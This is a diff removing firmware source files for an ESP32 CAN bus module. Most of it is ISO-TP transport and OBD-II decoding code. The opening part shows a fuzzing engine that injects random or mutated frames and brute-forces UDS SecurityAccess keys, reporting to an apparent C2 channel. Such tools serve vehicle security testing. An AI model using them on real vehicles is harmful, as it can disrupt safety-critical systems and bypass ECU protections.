if ((attempt % 100) == 99) {
char progress[48];
snprintf(progress, sizeof(progress), "FUZZ_UDS_PROGRESS|%d", attempt + 1);
msg_data(TAG, progress, strlen(progress), false, s_fuzz_req_id);
}
}
#else
ESP_LOGE(TAG, "UDS auth fuzz requires CONFIG_CANBUS_ISO_TP");
s_fuzz_running = false;
#endif
}
/* ============================================================
* Fuzz Task
* ============================================================ */
static void fuzz_task(void *arg)
{
(void)arg;
ESP_LOGI(TAG, "Fuzzing started: mode=%d", s_fuzz_cfg.mode);
s_fuzz_count = 0;
s_fuzz_responses = 0;
switch (s_fuzz_cfg.mode) {
case FUZZ_MODE_ID_SCAN: fuzz_id_scan(); break;
case FUZZ_MODE_DATA_MUTATE: fuzz_data_mutate(); break;
case FUZZ_MODE_RANDOM: fuzz_random(); break;
case FUZZ_MODE_UDS_AUTH: fuzz_uds_auth(); break;
}
/* Report completion */
char done[80];
snprintf(done, sizeof(done), "FUZZ_DONE|sent=%"PRIu32"|responses=%"PRIu32,
s_fuzz_count, s_fuzz_responses);
msg_data(TAG, done, strlen(done), true, s_fuzz_req_id);
s_fuzz_running = false;
s_fuzz_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id)
{
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
if (s_fuzz_running) {
ESP_LOGW(TAG, "Fuzzing already in progress");
xSemaphoreGive(s_fuzz_mutex);
return false;
}
if (!can_driver_is_running()) {
ESP_LOGE(TAG, "CAN driver not running");
xSemaphoreGive(s_fuzz_mutex);
return false;
}
s_fuzz_cfg = *cfg;
s_fuzz_req_id = request_id;
s_fuzz_running = true;
BaseType_t ret = xTaskCreatePinnedToCore(
fuzz_task, "can_fuzz", 4096, NULL, 3, &s_fuzz_task, 1
);
if (ret != pdPASS) {
s_fuzz_running = false;
xSemaphoreGive(s_fuzz_mutex);
return false;
}
xSemaphoreGive(s_fuzz_mutex);
return true;
}
void can_fuzz_stop(void)
{
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
s_fuzz_running = false;
xSemaphoreGive(s_fuzz_mutex);
for (int i = 0; i < 20 && s_fuzz_task != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(50));
}
}
bool can_fuzz_is_running(void)
{
return s_fuzz_running;
}
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_FUZZ */

View File

@ -1,42 +0,0 @@
/*
* canbus_fuzz.h
* CAN bus fuzzing engine ID scan, data mutation, random injection, UDS auth brute-force.
*/
#pragma once
#include <stdint.h>
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
FUZZ_MODE_ID_SCAN, /* Iterate all CAN IDs, fixed payload */
FUZZ_MODE_DATA_MUTATE, /* Fixed ID, mutate data bytes systematically */
FUZZ_MODE_RANDOM, /* Random ID + random data */
FUZZ_MODE_UDS_AUTH, /* Brute-force UDS SecurityAccess keys */
} fuzz_mode_t;
typedef struct {
fuzz_mode_t mode;
uint32_t id_start, id_end; /* For ID_SCAN range */
uint32_t target_id; /* For DATA_MUTATE / UDS_AUTH */
int delay_ms; /* Inter-frame delay */
int max_iterations; /* 0 = unlimited */
uint8_t seed_data[8]; /* Initial data for mutation */
uint8_t seed_dlc; /* DLC for seed data */
} fuzz_config_t;
/* Start fuzzing in background task. request_id for C2 streaming. */
bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id);
/* Stop fuzzing */
void can_fuzz_stop(void);
/* Check if fuzzing is active */
bool can_fuzz_is_running(void);
#ifdef __cplusplus
}
#endif

View File

@ -1,416 +0,0 @@
/*
* canbus_isotp.c
* ISO-TP (ISO 15765-2) transport layer implementation.
*
* Frame types:
* Single Frame (SF): [0x0N | data...] N = length (1-7)
* First Frame (FF): [0x1H 0xLL | 6 bytes] H:L = total length (up to 4095)
* Consecutive Frame (CF): [0x2N | 7 bytes] N = sequence (0-F, wrapping)
* Flow Control (FC): [0x30 BS ST] BS=block size, ST=separation time
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_ISO_TP)
#include <string.h>
#include "freertos/FreeRTOS.h"
#include "freertos/semphr.h"
#include "esp_timer.h"
#include "esp_log.h"
#include "canbus_isotp.h"
#include "canbus_driver.h"
#define TAG "CAN_ISOTP"
/* Max ISO-TP payload (12-bit length field) */
#define ISOTP_MAX_LEN 4095
/* Reassembly buffer (static — single concurrent transfer) */
static uint8_t s_reassembly[ISOTP_MAX_LEN];
/* Synchronization: RX callback puts frame here, isotp functions wait on semaphore */
static SemaphoreHandle_t s_rx_sem = NULL;
static can_frame_t s_rx_frame;
static volatile uint32_t s_listen_id = 0;
static volatile bool s_listening = false;
/* Previous RX callback to chain */
static can_rx_callback_t s_prev_cb = NULL;
static void *s_prev_ctx = NULL;
/* ============================================================
* Internal RX callback for ISO-TP framing
* ============================================================ */
static void isotp_rx_callback(const can_frame_t *frame, void *ctx)
{
(void)ctx;
/* If we're listening for a specific ID, capture it */
if (s_listening && frame->id == s_listen_id) {
s_rx_frame = *frame;
if (s_rx_sem) xSemaphoreGive(s_rx_sem);
}
/* Chain to previous callback (sniff/record) */
if (s_prev_cb) s_prev_cb(frame, s_prev_ctx);
}
/* ============================================================
* Helpers
* ============================================================ */
static void isotp_init_once(void)
{
if (!s_rx_sem) {
s_rx_sem = xSemaphoreCreateBinary();
}
}
/* Hook our callback, saving the previous one */
static void isotp_hook_rx(uint32_t listen_id)
{
isotp_init_once();
s_listen_id = listen_id;
s_listening = true;
/* Clear any pending semaphore */
xSemaphoreTake(s_rx_sem, 0);
}
static void isotp_unhook_rx(void)
{
s_listening = false;
s_listen_id = 0;
}
/* Wait for a frame with the target ID, timeout in ms */
static bool wait_frame(can_frame_t *out, int timeout_ms)
{
if (xSemaphoreTake(s_rx_sem, pdMS_TO_TICKS(timeout_ms)) == pdTRUE) {
*out = s_rx_frame;
return true;
}
return false;
}
/* Send a single CAN frame (helper) */
static bool send_frame(uint32_t id, const uint8_t *data, uint8_t dlc)
{
can_frame_t f = {
.id = id,
.dlc = dlc,
.extended = (id > 0x7FF),
.rtr = false,
.timestamp_us = 0,
};
memcpy(f.data, data, dlc);
return can_driver_send(&f);
}
/* Send Flow Control frame: CTS (continue to send) */
static bool send_fc(uint32_t tx_id, uint8_t block_size, uint8_t st_min)
{
uint8_t fc[8] = { 0x30, block_size, st_min, 0, 0, 0, 0, 0 };
return send_frame(tx_id, fc, 8);
}
/* ============================================================
* isotp_send Send ISO-TP message
* ============================================================ */
isotp_status_t isotp_send(uint32_t tx_id, uint32_t rx_id,
const uint8_t *data, size_t len,
int timeout_ms)
{
if (!data || len == 0 || len > ISOTP_MAX_LEN) return ISOTP_ERROR;
isotp_init_once();
/* Single Frame: len <= 7 */
if (len <= 7) {
uint8_t sf[8] = { 0 };
sf[0] = (uint8_t)(len & 0x0F); /* PCI: 0x0N */
memcpy(&sf[1], data, len);
if (!send_frame(tx_id, sf, 8)) return ISOTP_ERROR;
return ISOTP_OK;
}
/* Multi-frame: First Frame + wait FC + Consecutive Frames */
/* Send First Frame */
uint8_t ff[8] = { 0 };
ff[0] = 0x10 | (uint8_t)((len >> 8) & 0x0F);
ff[1] = (uint8_t)(len & 0xFF);
memcpy(&ff[2], data, 6);
if (!send_frame(tx_id, ff, 8)) return ISOTP_ERROR;
/* Wait for Flow Control */
isotp_hook_rx(rx_id);
can_frame_t fc;
if (!wait_frame(&fc, timeout_ms)) {
isotp_unhook_rx();
ESP_LOGW(TAG, "FC timeout from 0x%03lX", (unsigned long)rx_id);
return ISOTP_TIMEOUT;
}
isotp_unhook_rx();
/* Parse FC */
if ((fc.data[0] & 0xF0) != 0x30) {
ESP_LOGW(TAG, "Expected FC, got PCI 0x%02X", fc.data[0]);
return ISOTP_ERROR;
}
uint8_t block_size = fc.data[1]; /* 0 = no limit */
uint8_t st_min = fc.data[2]; /* Separation time in ms */
/* Send Consecutive Frames */
size_t offset = 6; /* First 6 bytes already sent in FF */
uint8_t seq = 1;
uint8_t blocks_sent = 0;
while (offset < len) {
uint8_t cf[8] = { 0 };
cf[0] = 0x20 | (seq & 0x0F);
size_t chunk = len - offset;
if (chunk > 7) chunk = 7;
memcpy(&cf[1], &data[offset], chunk);
if (!send_frame(tx_id, cf, 8)) return ISOTP_ERROR;
offset += chunk;
seq = (seq + 1) & 0x0F;
blocks_sent++;
/* Respect separation time */
if (st_min > 0 && st_min <= 127) {
vTaskDelay(pdMS_TO_TICKS(st_min));
}
/* Block size flow control */
if (block_size > 0 && blocks_sent >= block_size && offset < len) {
blocks_sent = 0;
isotp_hook_rx(rx_id);
if (!wait_frame(&fc, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
isotp_unhook_rx();
if ((fc.data[0] & 0xF0) != 0x30) return ISOTP_ERROR;
block_size = fc.data[1];
st_min = fc.data[2];
}
}
return ISOTP_OK;
}
/* ============================================================
* isotp_recv Receive ISO-TP message
* ============================================================ */
isotp_status_t isotp_recv(uint32_t rx_id,
uint8_t *buf, size_t buf_cap, size_t *out_len,
int timeout_ms)
{
if (!buf || buf_cap == 0 || !out_len) return ISOTP_ERROR;
*out_len = 0;
isotp_hook_rx(rx_id);
can_frame_t frame;
if (!wait_frame(&frame, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
uint8_t pci_type = frame.data[0] & 0xF0;
/* Single Frame */
if (pci_type == 0x00) {
isotp_unhook_rx();
size_t sf_len = frame.data[0] & 0x0F;
if (sf_len == 0 || sf_len > 7 || sf_len > buf_cap) return ISOTP_ERROR;
memcpy(buf, &frame.data[1], sf_len);
*out_len = sf_len;
return ISOTP_OK;
}
/* First Frame */
if (pci_type != 0x10) {
isotp_unhook_rx();
ESP_LOGW(TAG, "Expected SF/FF, got PCI 0x%02X", frame.data[0]);
return ISOTP_ERROR;
}
size_t total_len = ((size_t)(frame.data[0] & 0x0F) << 8) | frame.data[1];
if (total_len > buf_cap || total_len > ISOTP_MAX_LEN) {
isotp_unhook_rx();
return ISOTP_OVERFLOW;
}
/* Copy first 6 data bytes from FF */
size_t received = (total_len < 6) ? total_len : 6;
memcpy(buf, &frame.data[2], received);
/* We need to figure out the TX ID to send FC back.
* Convention: if rx_id is in 0x7E8-0x7EF range, tx_id = rx_id - 8.
* For functional requests, FC goes to rx_id - 8.
* Caller should use isotp_request() for proper bidirectional comms. */
uint32_t fc_tx_id = (rx_id >= 0x7E8 && rx_id <= 0x7EF)
? (rx_id - 8)
: (rx_id - 1);
/* Send Flow Control: continue, no block limit, 0ms separation */
send_fc(fc_tx_id, 0, 0);
/* Receive Consecutive Frames */
uint8_t expected_seq = 1;
while (received < total_len) {
if (!wait_frame(&frame, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
if ((frame.data[0] & 0xF0) != 0x20) {
isotp_unhook_rx();
ESP_LOGW(TAG, "Expected CF, got PCI 0x%02X", frame.data[0]);
return ISOTP_ERROR;
}
uint8_t seq = frame.data[0] & 0x0F;
if (seq != (expected_seq & 0x0F)) {
ESP_LOGW(TAG, "CF seq mismatch: expected %u, got %u",
expected_seq & 0x0F, seq);
}
expected_seq++;
size_t chunk = total_len - received;
if (chunk > 7) chunk = 7;
memcpy(&buf[received], &frame.data[1], chunk);
received += chunk;
}
isotp_unhook_rx();
*out_len = total_len;
return ISOTP_OK;
}
/* ============================================================
* isotp_request Send + Receive (UDS request-response pattern)
* ============================================================ */
isotp_status_t isotp_request(uint32_t tx_id, uint32_t rx_id,
const uint8_t *req, size_t req_len,
uint8_t *resp, size_t resp_cap, size_t *resp_len,
int timeout_ms)
{
if (!resp || !resp_len) return ISOTP_ERROR;
*resp_len = 0;
isotp_init_once();
/* For request-response, we need to listen before sending
* (the response may come very quickly after the request) */
isotp_hook_rx(rx_id);
/* Send request */
isotp_status_t st;
if (req_len <= 7) {
/* Single frame — send directly and wait for response */
uint8_t sf[8] = { 0 };
sf[0] = (uint8_t)(req_len & 0x0F);
memcpy(&sf[1], req, req_len);
if (!send_frame(tx_id, sf, 8)) {
isotp_unhook_rx();
return ISOTP_ERROR;
}
} else {
/* Multi-frame send — unhook first since isotp_send hooks itself */
isotp_unhook_rx();
st = isotp_send(tx_id, rx_id, req, req_len, timeout_ms);
if (st != ISOTP_OK) return st;
isotp_hook_rx(rx_id);
}
/* Wait for response (may be SF or FF+CF) */
can_frame_t frame;
if (!wait_frame(&frame, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
uint8_t pci_type = frame.data[0] & 0xF0;
/* Single Frame response */
if (pci_type == 0x00) {
isotp_unhook_rx();
size_t sf_len = frame.data[0] & 0x0F;
if (sf_len == 0 || sf_len > 7 || sf_len > resp_cap) return ISOTP_ERROR;
memcpy(resp, &frame.data[1], sf_len);
*resp_len = sf_len;
return ISOTP_OK;
}
/* First Frame response */
if (pci_type == 0x10) {
size_t total_len = ((size_t)(frame.data[0] & 0x0F) << 8) | frame.data[1];
if (total_len > resp_cap || total_len > ISOTP_MAX_LEN) {
isotp_unhook_rx();
return ISOTP_OVERFLOW;
}
size_t received = (total_len < 6) ? total_len : 6;
memcpy(resp, &frame.data[2], received);
/* Send FC */
send_fc(tx_id, 0, 0);
/* Receive CFs */
uint8_t expected_seq = 1;
while (received < total_len) {
if (!wait_frame(&frame, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
if ((frame.data[0] & 0xF0) != 0x20) {
isotp_unhook_rx();
return ISOTP_ERROR;
}
expected_seq++;
size_t chunk = total_len - received;
if (chunk > 7) chunk = 7;
memcpy(&resp[received], &frame.data[1], chunk);
received += chunk;
}
isotp_unhook_rx();
*resp_len = total_len;
return ISOTP_OK;
}
isotp_unhook_rx();
ESP_LOGW(TAG, "Unexpected PCI type 0x%02X in response", frame.data[0]);
return ISOTP_ERROR;
}
/* ============================================================
* Install ISO-TP RX hook into the CAN driver
* ============================================================ */
void isotp_install_hook(void)
{
isotp_init_once();
/* Save the current callback so we can chain to it */
can_driver_get_rx_callback(&s_prev_cb, &s_prev_ctx);
can_driver_set_rx_callback(isotp_rx_callback, NULL);
}
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_ISO_TP */

View File

@ -1,70 +0,0 @@
/*
* canbus_isotp.h
* ISO-TP (ISO 15765-2) transport layer for CAN bus.
* Handles multi-frame messaging (> 8 bytes) required by UDS and OBD-II.
*/
#pragma once
#include <stdint.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
ISOTP_OK = 0,
ISOTP_TIMEOUT,
ISOTP_OVERFLOW,
ISOTP_ERROR,
} isotp_status_t;
/*
* Send an ISO-TP message (blocking).
* Handles Single Frame for len <= 7, or First Frame + Consecutive Frames.
* Waits for Flow Control frame from receiver if multi-frame.
*
* tx_id: CAN arbitration ID for outgoing frames
* rx_id: CAN arbitration ID for incoming Flow Control
* data/len: payload to send
* timeout_ms: max wait for Flow Control response
*/
isotp_status_t isotp_send(uint32_t tx_id, uint32_t rx_id,
const uint8_t *data, size_t len,
int timeout_ms);
/*
* Receive an ISO-TP message (blocking).
* Reassembles Single Frame or First Frame + Consecutive Frames.
* Sends Flow Control frame to sender if multi-frame.
*
* rx_id: CAN arbitration ID to listen for
* buf/buf_cap: output buffer
* out_len: actual received length
* timeout_ms: max wait time
*/
isotp_status_t isotp_recv(uint32_t rx_id,
uint8_t *buf, size_t buf_cap, size_t *out_len,
int timeout_ms);
/*
* Request-Response: send then receive (most common UDS pattern).
* Combines isotp_send() + isotp_recv() with proper FC handling.
*
* tx_id/rx_id: CAN ID pair (e.g. 0x7E0/0x7E8 for ECU diagnostics)
*/
isotp_status_t isotp_request(uint32_t tx_id, uint32_t rx_id,
const uint8_t *req, size_t req_len,
uint8_t *resp, size_t resp_cap, size_t *resp_len,
int timeout_ms);
/*
* Install ISO-TP RX hook into the CAN driver callback chain.
* Must be called after can_driver_set_rx_callback() so that the
* previous callback (sniff/record) is preserved in the chain.
*/
void isotp_install_hook(void);
#ifdef __cplusplus
}
#endif

View File

@ -1,357 +0,0 @@
/*
* canbus_obd.c
* OBD-II PID decoder with lookup table for ~40 common PIDs.
*
* Uses ISO-TP for communication (even single-frame OBD fits in SF,
* but VIN and DTC responses may require multi-frame).
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_OBD)
#include <stdio.h>
#include <string.h>
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "canbus_obd.h"
#include "canbus_isotp.h"
#include "canbus_driver.h"
#include "utils.h"
#define TAG "CAN_OBD"
/* ============================================================
* PID Decoder Table
* ============================================================ */
typedef float (*decode_fn_t)(const uint8_t *data, int len);
typedef struct {
uint8_t pid;
const char *name;
const char *unit;
int data_bytes; /* Expected response data bytes (A, AB, ABC...) */
decode_fn_t decode;
} pid_decoder_t;
/* Decode functions — all check buffer length before access */
static float decode_a(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0]; }
static float decode_a_minus_40(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] - 40.0f; }
static float decode_a_percent(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] * 100.0f / 255.0f; }
static float decode_ab(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]); }
static float decode_ab_div_4(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 4.0f; }
static float decode_a_div_2_m64(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] / 2.0f - 64.0f; }
static float decode_ab_div_100(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 100.0f; }
static float decode_a_x3(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] * 3.0f; }
static float decode_ab_div_20(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 20.0f; }
static float decode_signed_a_minus_128(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] - 128.0f; }
static const pid_decoder_t s_pid_table[] = {
/* PID Name Unit Bytes Decoder */
{ 0x04, "Engine Load", "%", 1, decode_a_percent },
{ 0x05, "Coolant Temp", "C", 1, decode_a_minus_40 },
{ 0x06, "Short Fuel Trim B1", "%", 1, decode_signed_a_minus_128 },
{ 0x07, "Long Fuel Trim B1", "%", 1, decode_signed_a_minus_128 },
{ 0x0B, "Intake MAP", "kPa", 1, decode_a },
{ 0x0C, "Engine RPM", "rpm", 2, decode_ab_div_4 },
{ 0x0D, "Vehicle Speed", "km/h", 1, decode_a },
{ 0x0E, "Timing Advance", "deg", 1, decode_a_div_2_m64 },
{ 0x0F, "Intake Temp", "C", 1, decode_a_minus_40 },
{ 0x10, "MAF Rate", "g/s", 2, decode_ab_div_100 },
{ 0x11, "Throttle Position", "%", 1, decode_a_percent },
{ 0x1C, "OBD Standard", "", 1, decode_a },
{ 0x1F, "Engine Runtime", "s", 2, decode_ab },
{ 0x21, "Distance w/ MIL", "km", 2, decode_ab },
{ 0x2C, "Commanded EGR", "%", 1, decode_a_percent },
{ 0x2F, "Fuel Level", "%", 1, decode_a_percent },
{ 0x30, "Warmups since DTC clear", "", 1, decode_a },
{ 0x31, "Distance since DTC clear", "km", 2, decode_ab },
{ 0x33, "Baro Pressure", "kPa", 1, decode_a },
{ 0x42, "Control Module Voltage", "V", 2, decode_ab_div_100 }, /* Approx */
{ 0x45, "Relative Throttle", "%", 1, decode_a_percent },
{ 0x46, "Ambient Temp", "C", 1, decode_a_minus_40 },
{ 0x49, "Accelerator Position D", "%", 1, decode_a_percent },
{ 0x4A, "Accelerator Position E", "%", 1, decode_a_percent },
{ 0x4C, "Commanded Throttle", "%", 1, decode_a_percent },
{ 0x5C, "Oil Temp", "C", 1, decode_a_minus_40 },
{ 0x5E, "Fuel Rate", "L/h", 2, decode_ab_div_20 },
{ 0x67, "Coolant Temp (wide)", "C", 1, decode_a_minus_40 }, /* First byte only */
{ 0xA6, "Odometer", "km", 2, decode_ab }, /* Simplified */
};
#define PID_TABLE_SIZE (sizeof(s_pid_table) / sizeof(s_pid_table[0]))
/* Find decoder for a PID */
static const pid_decoder_t *find_pid(uint8_t pid)
{
for (int i = 0; i < (int)PID_TABLE_SIZE; i++) {
if (s_pid_table[i].pid == pid) return &s_pid_table[i];
}
return NULL;
}
/* ============================================================
* OBD-II Communication (via ISO-TP)
* ============================================================ */
/* Send OBD request and receive response */
static int obd_transact(uint8_t mode, uint8_t pid,
uint8_t *resp, size_t resp_cap, size_t *resp_len)
{
uint8_t req[2] = { mode, pid };
/* Use functional broadcast (0x7DF) for Mode 01/03/09 */
/* Listen on first responder (0x7E8) — most vehicles respond here */
isotp_status_t st = isotp_request(
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
req, 2,
resp, resp_cap, resp_len,
2000
);
return (st == ISOTP_OK) ? 0 : -1;
}
/* ============================================================
* Public API
* ============================================================ */
int obd_query_pid(uint8_t mode, uint8_t pid, obd_result_t *out)
{
if (!out) return -1;
memset(out, 0, sizeof(*out));
uint8_t resp[16];
size_t resp_len = 0;
if (obd_transact(mode, pid, resp, sizeof(resp), &resp_len) < 0) {
return -1;
}
/* Response: mode+0x40, PID, data bytes */
if (resp_len < 2 || resp[0] != (mode + 0x40) || resp[1] != pid) {
return -1;
}
out->pid = pid;
/* Try to decode with known PID table */
const pid_decoder_t *dec = find_pid(pid);
if (dec) {
out->name = dec->name;
out->unit = dec->unit;
int data_offset = 2; /* After mode+0x40 and PID */
int data_avail = (int)resp_len - data_offset;
if (data_avail >= dec->data_bytes) {
out->value = dec->decode(&resp[data_offset], data_avail);
}
} else {
out->name = "Unknown";
out->unit = "";
out->value = (resp_len > 2) ? (float)resp[2] : 0;
}
return 0;
}
int obd_query_supported(uint8_t pids_out[], int max_pids)
{
int total = 0;
uint8_t resp[16];
size_t resp_len = 0;
/* PID 00: supported PIDs 01-20 */
/* PID 20: supported PIDs 21-40 */
/* PID 40: supported PIDs 41-60 */
/* PID 60: supported PIDs 61-80 */
uint8_t range_pids[] = { 0x00, 0x20, 0x40, 0x60 };
for (int r = 0; r < 4; r++) {
if (obd_transact(0x01, range_pids[r], resp, sizeof(resp), &resp_len) < 0) {
break;
}
if (resp_len < 6 || resp[0] != 0x41 || resp[1] != range_pids[r]) {
break;
}
/* 4 bytes = 32 bits, each bit = supported PID */
uint32_t bitmap = ((uint32_t)resp[2] << 24)
| ((uint32_t)resp[3] << 16)
| ((uint32_t)resp[4] << 8)
| (uint32_t)resp[5];
for (int bit = 0; bit < 32 && total < max_pids; bit++) {
if (bitmap & (1U << (31 - bit))) {
pids_out[total++] = range_pids[r] + bit + 1;
}
}
/* If last PID in range is not supported, no point checking next range */
if (!(bitmap & 0x01)) break;
}
return total;
}
int obd_read_vin(char *vin_out, size_t cap)
{
if (!vin_out || cap < 18) return -1;
uint8_t req[2] = { 0x09, 0x02 }; /* Mode 09, PID 02 = VIN */
uint8_t resp[64];
size_t resp_len = 0;
isotp_status_t st = isotp_request(
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
req, 2,
resp, sizeof(resp), &resp_len,
3000
);
if (st != ISOTP_OK) return -1;
/* Response: 0x49, 0x02, count, VIN (17 ASCII chars) */
if (resp_len < 20 || resp[0] != 0x49 || resp[1] != 0x02) {
return -1;
}
/* VIN starts at offset 3 (after 0x49, 0x02, count) */
int vin_start = 3;
int vin_len = (int)resp_len - vin_start;
if (vin_len > 17) vin_len = 17;
if (vin_len > (int)cap - 1) vin_len = (int)cap - 1;
memcpy(vin_out, &resp[vin_start], vin_len);
vin_out[vin_len] = '\0';
return 0;
}
int obd_read_dtcs(char *dtc_buf, size_t cap)
{
uint8_t req[1] = { 0x03 }; /* Mode 03: Request DTCs */
uint8_t resp[128];
size_t resp_len = 0;
isotp_status_t st = isotp_request(
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
req, 1,
resp, sizeof(resp), &resp_len,
3000
);
if (st != ISOTP_OK || resp_len < 1 || resp[0] != 0x43) {
snprintf(dtc_buf, cap, "No DTCs or read error");
return -1;
}
int num_dtcs = resp[1]; /* Number of DTCs */
if (num_dtcs == 0) {
snprintf(dtc_buf, cap, "No DTCs stored");
return 0;
}
int off = 0;
off += snprintf(dtc_buf + off, cap - off, "DTCs (%d): ", num_dtcs);
/* Each DTC is 2 bytes, starting at offset 2 */
static const char dtc_prefixes[] = { 'P', 'C', 'B', 'U' };
for (int i = 0; i < num_dtcs && (2 + i * 2 + 1) < (int)resp_len; i++) {
uint16_t raw = (resp[2 + i * 2] << 8) | resp[2 + i * 2 + 1];
char prefix = dtc_prefixes[(raw >> 14) & 0x03];
int code = raw & 0x3FFF;
off += snprintf(dtc_buf + off, cap - off, "%c%04X ", prefix, code);
if (off >= (int)cap - 8) break;
}
return off;
}
/* ============================================================
* Continuous Monitoring
* ============================================================ */
static volatile bool s_monitor_running = false;
static TaskHandle_t s_monitor_task = NULL;
static uint8_t s_monitor_pids[16];
static int s_monitor_pid_count = 0;
static int s_monitor_interval = 1000;
static const char *s_monitor_req_id = NULL;
static SemaphoreHandle_t s_mon_mutex = NULL;
static void monitor_task(void *arg)
{
(void)arg;
ESP_LOGI(TAG, "OBD monitor started: %d PIDs, %d ms interval",
s_monitor_pid_count, s_monitor_interval);
while (s_monitor_running) {
for (int i = 0; i < s_monitor_pid_count && s_monitor_running; i++) {
obd_result_t result;
if (obd_query_pid(0x01, s_monitor_pids[i], &result) == 0) {
char line[96];
snprintf(line, sizeof(line), "OBD|%s|%.1f|%s",
result.name, result.value, result.unit);
msg_data(TAG, line, strlen(line), false, s_monitor_req_id);
}
}
vTaskDelay(pdMS_TO_TICKS(s_monitor_interval));
}
ESP_LOGI(TAG, "OBD monitor stopped");
s_monitor_task = NULL;
vTaskDelete(NULL);
}
void obd_monitor_start(const uint8_t *pids, int pid_count,
int interval_ms, const char *request_id)
{
if (!s_mon_mutex) s_mon_mutex = xSemaphoreCreateMutex();
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
if (s_monitor_running) {
xSemaphoreGive(s_mon_mutex);
obd_monitor_stop();
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
}
if (pid_count > 16) pid_count = 16;
memcpy(s_monitor_pids, pids, pid_count);
s_monitor_pid_count = pid_count;
s_monitor_interval = (interval_ms > 0) ? interval_ms : 1000;
s_monitor_req_id = request_id;
s_monitor_running = true;
xTaskCreatePinnedToCore(
monitor_task, "obd_mon", 4096, NULL, 3, &s_monitor_task, 1
);
xSemaphoreGive(s_mon_mutex);
}
void obd_monitor_stop(void)
{
if (!s_mon_mutex) s_mon_mutex = xSemaphoreCreateMutex();
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
s_monitor_running = false;
xSemaphoreGive(s_mon_mutex);
for (int i = 0; i < 20 && s_monitor_task != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(50));
}
}
bool obd_monitor_is_running(void)
{
return s_monitor_running;
}
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_OBD */

View File

@ -1,48 +0,0 @@
/*
* canbus_obd.h
* OBD-II (ISO 15031) PID decoder over ISO-TP.
*/
#pragma once
#include <stdint.h>
#include <stddef.h>
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
/* Standard OBD-II CAN IDs */
#define OBD_REQUEST_ID 0x7DF /* Broadcast functional request */
#define OBD_RESPONSE_MIN 0x7E8
#define OBD_RESPONSE_MAX 0x7EF
/* Decoded PID result */
typedef struct {
uint8_t pid;
float value;
const char *unit; /* "rpm", "km/h", "C", etc. */
const char *name; /* "Engine RPM", "Vehicle Speed", etc. */
} obd_result_t;
/* Query a single PID (Mode 01). Returns 0 on success, -1 on error. */
int obd_query_pid(uint8_t mode, uint8_t pid, obd_result_t *out);
/* Query supported PIDs (Mode 01, PID 00/20/40/60). Returns count. */
int obd_query_supported(uint8_t pids_out[], int max_pids);
/* Read Vehicle Identification Number (Mode 09, PID 02). Returns 0 or -1. */
int obd_read_vin(char *vin_out, size_t cap);
/* Read Diagnostic Trouble Codes (Mode 03). Returns formatted string length. */
int obd_read_dtcs(char *dtc_buf, size_t cap);
/* Continuous monitoring: stream PIDs to C2 at interval */
void obd_monitor_start(const uint8_t *pids, int pid_count,
int interval_ms, const char *request_id);
void obd_monitor_stop(void);
bool obd_monitor_is_running(void);
#ifdef __cplusplus
}
#endif

View File

@ -1,343 +0,0 @@
/*
* canbus_uds.c
* UDS (ISO 14229) diagnostic services implementation.
*
* Each function builds a UDS payload, sends via ISO-TP,
* parses the response (positive = SID+0x40, negative = 0x7F+SID+NRC).
* Handles NRC 0x78 (ResponsePending) with extended timeout.
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_UDS)
#include <string.h>
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "canbus_uds.h"
#include "canbus_isotp.h"
#include "canbus_driver.h"
#include "utils.h"
#define TAG "CAN_UDS"
/* Max retries for ResponsePending (NRC 0x78) */
#define MAX_PENDING_RETRIES 10
#define PENDING_TIMEOUT_MS 5000
/* ============================================================
* Internal: UDS request with ResponsePending handling
* ============================================================ */
static int uds_transact(uds_ctx_t *ctx,
const uint8_t *req, size_t req_len,
